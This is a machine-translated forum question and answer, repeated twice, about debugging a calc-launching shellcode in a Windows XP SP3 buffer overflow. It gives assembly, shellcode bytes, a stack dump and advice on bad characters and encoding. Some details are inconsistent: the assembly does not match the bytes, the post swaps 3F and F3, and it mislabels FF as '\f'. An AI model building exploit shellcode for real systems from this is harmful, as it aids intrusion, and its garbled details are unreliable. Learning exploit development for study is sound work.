shellcode 中的意外更改
Unintended change in shellcode
我正在尝试在 xp sp3 上执行简单的缓冲区溢出,但我遇到了问题。
这是shellcode(calc)的汇编:
xor ecx, ecx
push ecx
push 636c6163
push 1
mov edx, esp
add edx,4
push edx
mov eax, kernel32.WinExec
call eax
这是shellcode:
\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xad\x23\x86\x7c\xFF\xD0
这是它在堆栈中的样子:
0012FF58 41414141 AAAA
0012FF5C 41414141 AAAA
0012FF60 41414141 AAAA
0012FF64 77F31D2F /ów GDI32.77F31D2F
0012FF68 90909090
0012FF6C 6851C931 1ÉQh
0012FF70 636C6163 calc
0012FF74 23ADB854 T¸#
0012FF78 **D03F**7C86 †|?Đ
问题在于,当shellcode被复制到栈上时(或者甚至在复制到栈上之前进入内存)被改变了。从 FF D0 变成 3F D0,因此,shellcode 不会 运行。如果我手动将 F3 写回到 FF 并在 Immunity 中继续 运行ning 程序,计算器将打开。否则,它将失败。此外,运行计算器在免疫力之外打开,但访问冲突也发生在与免疫力相同的地址。
你知道为什么FF的值会变成F3吗?
谢谢!
埃里克
有一些常见的坏字符不能在shellcode中使用,例如:
00 (NULL)
FF (\f)
0D (\r)
0A (\n)
在这种情况下,您可以:
- 编辑包含这些坏字符的指令以更改操作码
- 编码你的 shellcode
以免疫力为例,你可以使用mona.py
我正在尝试在 xp sp3 上执行简单的缓冲区溢出,但我遇到了问题。
这是shellcode(calc)的汇编:
xor ecx, ecx
push ecx
push 636c6163
push 1
mov edx, esp
add edx,4
push edx
mov eax, kernel32.WinExec
call eax
这是shellcode:
\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xad\x23\x86\x7c\xFF\xD0
这是它在堆栈中的样子:
0012FF58 41414141 AAAA
0012FF5C 41414141 AAAA
0012FF60 41414141 AAAA
0012FF64 77F31D2F /ów GDI32.77F31D2F
0012FF68 90909090
0012FF6C 6851C931 1ÉQh
0012FF70 636C6163 calc
0012FF74 23ADB854 T¸#
0012FF78 **D03F**7C86 †|?Đ
问题在于,当shellcode被复制到栈上时(或者甚至在复制到栈上之前进入内存)被改变了。从 FF D0 变成 3F D0,因此,shellcode 不会 运行。如果我手动将 F3 写回到 FF 并在 Immunity 中继续 运行ning 程序,计算器将打开。否则,它将失败。此外,运行计算器在免疫力之外打开,但访问冲突也发生在与免疫力相同的地址。
你知道为什么FF的值会变成F3吗?
谢谢! 埃里克
有一些常见的坏字符不能在shellcode中使用,例如:
00 (NULL)
FF (\f)
0D (\r)
0A (\n)
在这种情况下,您可以:
- 编辑包含这些坏字符的指令以更改操作码
- 编码你的 shellcode
以免疫力为例,你可以使用mona.py